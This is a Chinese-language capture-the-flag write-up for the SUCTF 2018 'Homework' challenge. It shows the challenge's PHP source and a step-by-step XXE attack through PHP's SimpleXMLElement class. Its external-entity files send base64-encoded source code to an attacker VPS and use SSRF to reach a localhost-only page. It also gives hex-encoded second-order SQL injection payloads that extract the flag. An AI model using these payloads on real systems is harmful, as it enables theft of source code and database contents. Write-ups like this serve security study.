[SUCTF 2018]Homework

[SUCTF 2018]Homework

题目分析

先注册账号登陆作业平台。看到一个calc计算器类。有两个按钮,一个用于调用calc类实现两位数的四则运算。另一个用于提交代码。

image-20210730210838146

点击CALC按钮,观察返回的结果和URL

image-20210730211017053

再根据calc类里面的内容,不难判断得知,这里通过module传参去调用calc类,然后剩下3个变量是calc($args1,$method,$args2)函数中参数。

SimpleXMLElement 类

这里用到了PHP的内置类中的SimpleXMLElement类。SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

public SimpleXMLElement::__construct(
    string $data,
    int $options = 0,
    bool $dataIsURL = false,
    string $namespaceOrPrefix = "",
    bool $isPrefix = false
)

其中值得注意的是$data$dataIsURL这个两个参数:

$data:格式正确的XML字符串,或者XML文档的路径或URL(如果$dataIsURLtrue)。

$dataIsURL:默认情况下$dataIsURL为false。使用true指定$data的路径或URL到一个XML文件,而不是字符串数据。

可以看到通过设置第三个参数 $dataIsURLtrue,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 $data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。

首先,我们在vps(81.xxx.xxx.131)上构造如下evil.xml、send.xml这两个文件。

evil.xml:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "https://VPS/tmp/semd.xml">
%int;
%all;
%send;
]>

send.xml:

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'https://VPS/?%payl;'>">

然后在url中构造如下:

/show.php?module=SimpleXMLElement&args[]=http://81.xxx.xxx.131/tmp/evil.xml&args[]=2&args[]=true

然后我们就可以看web日志:

image-20210805213951763

经过base64解码之后即可得到源码。

SQL二次注入

index.php

<?php
    include("function.php");
    include("config.php");

    $username=w_addslashes($_COOKIE['user']);
    $check_code=$_COOKIE['cookie-check'];
    $check_sql="select password from user where username='".$username."'";
    $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
    if($check_sum!==$check_code){
        header("Location: login.php");
    }
?>
<?php readfile("./calc.php");?>

function.php

<?php

function sql_result($sql,$mysql){
    if($result=mysqli_query($mysql,$sql)){
        $result_array=mysqli_fetch_all($result);
        return $result_array;
    }else{
         echo mysqli_error($mysql);
         return "Failed";
    }
}

function upload_file($mysql){
    if($_FILES){
        if($_FILES['file']['size']>2*1024*1024){
            die("File is larger than 2M, forbidden upload");
        }
        if(is_uploaded_file($_FILES['file']['tmp_name'])){
            if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
                $filehash=md5(mt_rand());
                if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") 
                    die("Upload failed");
                $new_filename="./upload/".$filehash.".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }else{
                $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
                $new_filename="./upload/".$hash[0][0].".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }
        }else{
            die("Not upload file");
        }
    }
}



function w_addslashes($string){
    return addslashes(trim($string));
}



function do_api($module,$args){
    $class = new ReflectionClass($module);
    $a=$class->newInstanceArgs($args);
}
?>

show.php

<?php
    include("function.php");
    include("config.php");
    include("calc.php");
    if(isset($_GET['action'])&&$_GET['action']=="view"){
        if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
        if(!empty($_GET['filename'])){
            $file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
            $file_name=$file_info['0']['2'];
            echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
            $new_sig=mt_rand();
            sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
            die("<br>new sig:".$new_sig);
        }else{
            die("Null filename");
        }
    }

    $username=w_addslashes($_COOKIE['user']);
    $check_code=$_COOKIE['cookie-check'];
    $check_sql="select password from user where username='".$username."'";
    $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
    if($check_sum!==$check_code){
        header("Location: login.php");
    }

    $module=$_GET['module'];
    $args=$_GET['args'];
    do_api($module,$args);
?>

show.php中,限制了 ip 只能是127.0.0.1,说明只能通过 XXE 去触发SSRF。这里根据filename获取数据库中的 sig 然后进行 update 操作,但没有对 sig 值进行过滤,导致二次注入。

再看一下function.php中的upload_file()上传文件部分,首先他会判断 filename 是否存在,如果不存在就会插入数据库,这里 sig 没有用单引号保护,但是用了 addslashes() 进行转义,而我们要插入二次注入的语句必须得有单引号,这个时候就可以用 hex 编码进行绕过。

因为sql_result()函数中会输出 sql 错误,所以我们用 updatexml 函数进行报错注入。构造 payload:

'||extractvalue(1,concat(0x7e,(select flag from flag),0x7e))||'
//hex编码之后
0x277C7C6578747261637476616C756528312C636F6E63617428307837652C2873656C65637420666C61672066726F6D20666C6167292C3078376529297C7C27

//由于报错的字符数有限制,需要用reverse再输出一次
'||extractvalue(1,concat(0x7e,(select reverse(flag) from flag),0x7e))||'
//hex编码之后
0x277C7C6578747261637476616C756528312C636F6E63617428307837652C2873656C656374207265766572736528666C6167292066726F6D20666C6167292C3078376529297C7C27

修改send.xml

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=1.txt">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'https://VPS/?%payl;'>">
image-20210805223145607

上传成功之后再利用SimpleXMLElement类进行SSRF,也就是访问URL:

/show.php?module=SimpleXMLElement&args[]=http://81.71.121.131/tmp/evil.xml&args[]=2&args[]=true
image-20210805224648291

之后查看web访问日志,将得到的结果base64解码之后即可。(注意由于分了2次上传,因此两次的文件名字需要不一样才行)

参考资料

2018 SUCTF Homework xxe外带数据

SUCTF WriteUp 全题目

SUCTF 2018 Web Writeup

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇